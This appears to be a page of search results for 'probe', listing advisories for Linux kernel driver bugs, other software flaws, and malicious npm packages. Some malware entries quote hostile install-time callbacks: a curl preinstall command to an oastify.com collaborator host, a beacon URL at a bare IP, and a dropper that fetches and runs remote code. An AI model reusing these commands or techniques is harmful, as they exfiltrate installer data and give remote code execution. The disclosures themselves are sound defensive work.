Search: probe, s.a. de c.v

A double free vulnerability was identified and resolved in the Linux kernel's uio_pci_generic_sva driver. The issue involved improper manual freeing of memory allocated with devm_kzalloc(), which is already managed by the device resource management system. This could lead to a double free when the driver probe fails or during device removal. The fix removes the redundant manual kfree() calls to prevent this condition.

CVE-2026-64038 is a vulnerability in the Linux kernel's hwmon subsystem for the lm90 sensor driver. It involves a race condition where delayed work tasks may access freed device data after the hwmon device is released during module unbind or probe failure. The issue is fixed by ensuring that work tasks are canceled after the hwmon device is registered and before interrupts are enabled, preventing use-after-free conditions.

A vulnerability in the Linux kernel's MediaTek SNFI SPI driver (mtk-snfi) was resolved by ensuring proper cleanup of the NAND ECC engine on probe failure and device removal. The issue was that the ECC engine was registered during probe but not unregistered on failure or removal, potentially leading to resource leaks or inconsistent states. The fix adds a managed cleanup action to automatically unregister the ECC engine when probe fails or the device is removed.

In the Linux kernel, the following vulnerability has been resolved: rpmsg: char: Fix use-after-free on probe error path rpmsg_chrdev_probe() stores the newly allocated eptdev in the default endpoint's priv pointer before calling rpmsg_chrdev_eptdev_add(). If rpmsg_chrdev_eptdev_add() then fails, its error path frees eptdev while the default endpoint may still dispatch callbacks with the stale priv pointer. Avoid publishing eptdev through the default endpoint until rpmsg_chrdev_eptdev_add() succeeds. Messages received before the priv pointer is published should be ignored by rpmsg_ept_cb(). Flow-control updates can hit rpmsg_ept_flow_cb() in the same window, so make both callbacks return success when priv is NULL.

In the Linux kernel, the following vulnerability has been resolved: serial: 8250_dw: unregister 8250 port if clk_notifier_register() fails dw8250_probe() registers the 8250 port via serial8250_register_8250_port() and then, if the device has a clock, registers a clock notifier. If clk_notifier_register() fails, probe returns the error but leaves the 8250 port registered. The matching serial8250_unregister_port() lives in dw8250_remove(), which is not called when probe fails, so the port slot stays occupied until the device is rebound or the system is rebooted. The devm-allocated driver data is freed while the port still references it (via the saved private_data and serial_in/serial_out callbacks), so any access to that port slot before a rebind is a use-after-free hazard. Unregister the port on the clk_notifier_register() error path.

The n8n-nodes-probe npm package versions 1.0.0 through 1.0.6 contain malicious code that executes immediately upon module load. This code spawns a reverse interactive bash shell to a remote IP, enabling full command execution on the host. It also collects sensitive system information and attempts container escape and privilege escalation by accessing host files via Docker. Installing this package in an n8n environment causes automatic execution of the malicious payload.

An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. There is an XAPPLEPUSHSERVICE folder existence oracle and push hijack. An authenticated IMAP user could probe for the existence of arbitrary mailboxes on other users' accounts via the XAPPLEPUSHSERVICE command and then create Apple Push Notification Service notifications for new mail in those mailboxes to their own APNS device. This did not leak any data about the content of mailboxes. Instead, a "mailbox has changed" notice would be pushed when the mailbox modseq changed.

The npm package ls-env-config version 1.0.5 contains malicious code that executes automatically during installation via a preinstall script. This script runs an index.js file that performs an HTTP GET request to a third-party collaborator domain, confirming code execution on the installer's machine and leaking host and network information. This behavior is consistent with a dependency-confusion probe, causing unintended network callbacks to an external host on every install.

On Xtensa SoCs built with CONFIG_XTENSA_MPU and CONFIG_USERSPACE, arch_buffer_validate() in arch/xtensa/core/mpu.c — the architecture hook that verifies a user-mode-supplied buffer is accessible to the calling user thread with the requested permission — defaulted its return value to 0 (access permitted) and only set a denial result inside its per-MPU-region probe loop. When the rounded extent of the buffer wraps the 32-bit address space (size + alignment offset near SIZE_MAX, or ROUND_UP(size + offset) overflowing to 0), the loop executes zero iterations and the function returns 0 = permitted without probing any MPU region. The syscall-layer pre-checks (K_SYSCALL_MEMORY_SIZE_CHECK / Z_DETECT_POINTER_OVERFLOW) only catch a raw addr+size wrap and do not cover the ROUND_UP-induced wrap, and the string path (arch_user_string_nlen -> arch_buffer_validate) has no syscall-layer guard at all. An unprivileged user-mode thread can therefore pass a crafted (addr, size) to any syscall that validates user buffers via k_usermode_from_copy/to_copy or k_usermode_string_copy and have validation succeed for memory it must not access; the kernel then reads from (disclosure) or, with write=1, writes to (corruption) attacker-chosen kernel or other-partition memory on the thread's behalf, enabling information disclosure, memory corruption, privilege escalation, and denial of service. Affected from v3.7.0 (when Xtensa MPU userspace support was added) through v4.4.0. The fix changes the default to -EINVAL (deny by default), adds an explicit size_add_overflow check, and sets the success value only after the full range has been validated.

The @amedit/vercel-builder-probe npm package contains malicious code that, when used as a @vercel/build-utils Builder in a Vercel deployment pipeline, leaks sensitive environment variables including JWTs and deployment keys into build logs. It also forges JWT signatures using the installer's deployment key and sends unauthorized requests to a third party's internal Vercel endpoint. This exposes the installer's secrets and risks abuse-policy enforcement actions. The package is considered fully compromising to any system where it is installed.

The npm package @uwr/colors version 1.3.6 contains malicious code in its postinstall script that leaks the installer's machine hostname by performing a DNS lookup to a Burp Suite Collaborator subdomain. This behavior occurs without user consent and appears to be a reconnaissance probe possibly related to dependency confusion attacks. The package claims to provide trivial color constants but has an empty author field and suspicious namespace usage.

### Summary Kimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax. This allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services. ### Details The vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF. - First, customer invoice text is copied into the invoice model. . Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter. - Third, `md2html` enables full Markdown rendering. - Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource. - Finally, the HTML is handed to mPDF. The live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline: - attacker-controlled Markdown - Markdown converted to HTML - HTML rendered by mPDF - mPDF fetches remote image resources from the server side *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure. Depending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows. # Solution - Kimai does not allow to use markdown images any longer and converts them to HTML links instead - Kimai uses a specialized HttpClient for mPDF (called `NoPrivateNetworkHttpClient`), which prevents access to a variety of URLs, the full list can be fetched [from the documentation](https://www.kimai.org/documentation/pdf-templates.html#embedding-images) - This change can be a BC break, if someone used - the Kimai domain for hosting invoice or export template images - an internal IP for hosting invoice or export template images See https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (076f813c0d0a60ee43f7a73f8aad609e5043cd8d92b57b5c3c3c08954accbb4f) The package impersonates the popular express-session library by copying its name pattern, author metadata (TJ Holowaychuk <tj@vision-media.ca>), and repository field (expressjs/session-kit). The library body is a verbatim copy of express-session with a dropper appended to index.js: an initServer() function invoked at module load spawns a detached, stdio-ignored `node` subprocess to run a sibling payload script. That payload (session/check.js) performs an HTTP GET to http://check-server-state.vercel.app/server/v2 with a `bearrtoken: gemini` header, and when the endpoint responds with HTTP 404 carrying a JSON `token` field, wraps that field with `new Function("require", err.response.data.token)` and immediately invokes it with the real require — granting the remote endpoint arbitrary code execution in the Node process. Delivery via a 404 error body is a covert channel designed to look like a benign failed probe. Although the current dropper references./lib/check.js while the payload actually ships at./session/check.js and the spawn/path bindings are not imported (so the current tarball's dropper would throw before spawning), the second-stage payload file is present, complete, and directly requireable; any consumer that requires the payload — or a trivial fix in a subsequent version — makes the RCE live. Combined with the typosquat cover, this is a supply-chain attack targeting developers who mistype express-session. ## Source: ghsa-malware (44b1bb99fbd84a5cd6a12254371c4689b14a2b8f679157961cd58e26b87b26f9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0b27530f3aa6f2f96c3aa77ffad048e51ee4479d60c81ce59687772b6985a99b) On `npm install`, postinstall.js issues an HTTP GET to a hardcoded bare-IP endpoint at http://130.49.177.51:18080/p/dc-20260627-yandex-geobase carrying the package name, version, and a campaign tag (`bb-yandex-geobase-20260627`). The beacon fires automatically as a lifecycle script with no user opt-in, confirming code execution inside the installer's environment and exposing the installer's source IP / network position to an attacker-controlled host over plain HTTP. The package additionally declares a dependency on `yandex-geobase` and labels its callback with that package name, consistent with a dependency-confusion probe targeting the `yandex-geobase` namespace. Installer impact: any machine that resolves and installs `dc-repro` silently emits a network callback to the hardcoded IP at install time.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (51bbdab9d33c291290e2f871acd2ebf7bf64c2c66c5124592055669771b6301e) The package's package.json declares a preinstall lifecycle script that runs `curl https://cwcie03pzedo62twgbs3x6e9l0rsfk39.oastify.com` on `npm install`. The destination is a Burp Suite Collaborator subdomain used for out-of-band interaction confirmation; contacting it on install confirms code execution on the installer's machine and leaks the installer's public IP and DNS resolver via the OOB callback. The package has no legitimate functionality (index.js is a stub), consistent with a dependency-confusion probe or targeted exploitation payload against an internal package name. ## Source: ghsa-malware (67d812b4e6afa96229983750093435fa1dea4002fd3afe374d61cfd7a8090ecd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The npm package 'domains-billing-types' version 99.91.1 is identified as malicious. During installation, it executes a postinstall script that collects the installer's hostname and username and sends this information via a DNS lookup to an attacker-controlled domain. The package has no legitimate functionality and appears to be a dependency confusion probe designed to confirm successful resolution of internal package namespaces by exfiltrating environment details without user consent.

Actual is a local-first personal finance tool. Prior to 26.6.0, the GET /secret/:name endpoint in @actual-app/sync-server checks only that the caller has a valid session and does not verify the caller is an admin, while the sibling POST /secret/ handler enforces an admin check in OpenID mode. Any authenticated non-admin BASIC user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured, including simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, and the gocardless secrets. This issue is fixed in version 26.6.0.